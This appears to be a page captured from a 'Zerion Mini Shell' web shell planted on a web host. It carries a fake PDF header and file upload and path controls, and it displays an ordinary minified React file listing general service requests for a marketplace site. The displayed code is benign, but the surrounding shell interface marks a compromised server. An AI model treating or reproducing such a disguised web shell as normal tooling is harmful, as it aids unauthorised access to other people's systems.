%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/www/startup-life/assets/
Upload File :
Create Path :
Current File : /home/opti/www/startup-life/assets/GeneralServiceMarketPlace-6bd8a9cd.js

import{e as x,u as y,j as e,C as b,P as i}from"./index-5492fbe1.js";import{D as g}from"./dashboard-page-layout-2cec2413.js";import{u as h}from"./useQuery-0abbcf43.js";import{T as v}from"./index-9340f0a7.js";import{C as l}from"./index-2c4b8b3c.js";import{h as N}from"./moment-a9aaa855.js";import{B as p}from"./Button-e32596e7.js";import"./motion-4a110d9b.js";import"./Box-263f925f.js";import"./index.esm-690e6bd0.js";import"./iconBase-4b2ba95c.js";import"./TableRow-4b138891.js";import"./ButtonBase-0400401d.js";import"./assertThisInitialized-081f9914.js";import"./TransitionGroupContext-29effe25.js";import"./setPrototypeOf-0bb37fbe.js";import"./useForkRef-ff55d5c8.js";const j=()=>h({queryFn:async()=>{var a;try{return(await x.get("/service/service-requests",{params:{limit:200}})).data}catch(c){return(a=c.response)==null?void 0:a.data}},queryKey:["GET_GENERAL_SERVICE_REQUESTS"]}),M=()=>{const{data:o,isLoading:m,isPending:a,isError:c}=j(),n=y(),r=o==null?void 0:o.data;console.log(r);const s=["SN","Kind of service","Time Needed","Location","Rate($)","Action"],d=r==null?void 0:r.map((t,u)=>({...t,[s[0]]:u+1,[s[1]]:t.serviceNeeded,[s[2]]:N(t.availability).fromNow(),[s[3]]:t.location,[s[4]]:t.rate,SN:t.id,[s[5]]:e.jsx("button",{className:"text-[#A8CF45] px-0 bg-transparent !border-none",onClick:()=>n(`/services/buy-service/general-request/${t.id}`),children:"View more"})}));return e.jsx(g,{children:e.jsxs("section",{className:"px-5",children:[e.jsxs("div",{className:"flex justify-between mb-[40px]",children:[e.jsx("header",{className:"font-semibold text-[#537473]",children:"General Service Requests"}),e.jsxs("div",{className:"flex  items-center gap-[10px]",children:[e.jsx(p,{className:"!bg-primary !normal-case text-white !px-5",onClick:()=>n("/services/buy-service/my-received-bid-request"),children:"Received bids"}),e.jsx(p,{className:"!bg-primary !normal-case text-white !px-5",onClick:()=>n("/services/buy-service/my-general-bid-request"),children:"My bids"}),e.jsx(p,{className:"!bg-primary !normal-case text-white !px-5",onClick:()=>n("/services/buy-service/my-general-request"),children:"My requests"})]})]}),e.jsx(l,{appear:m||a,children:e.jsx(b,{})}),e.jsx(l,{appear:c,children:"ERROR: INTERNET_CONNECTION_REFUSED"}),e.jsx(l,{appear:!m&&!a&&(r==null?void 0:r.length)>0,children:e.jsx(v,{header:s,element:d})})]})})};i.string,i.string,i.string,i.string,i.string,i.number,i.number;export{M as default};

Zerion Mini Shell 1.0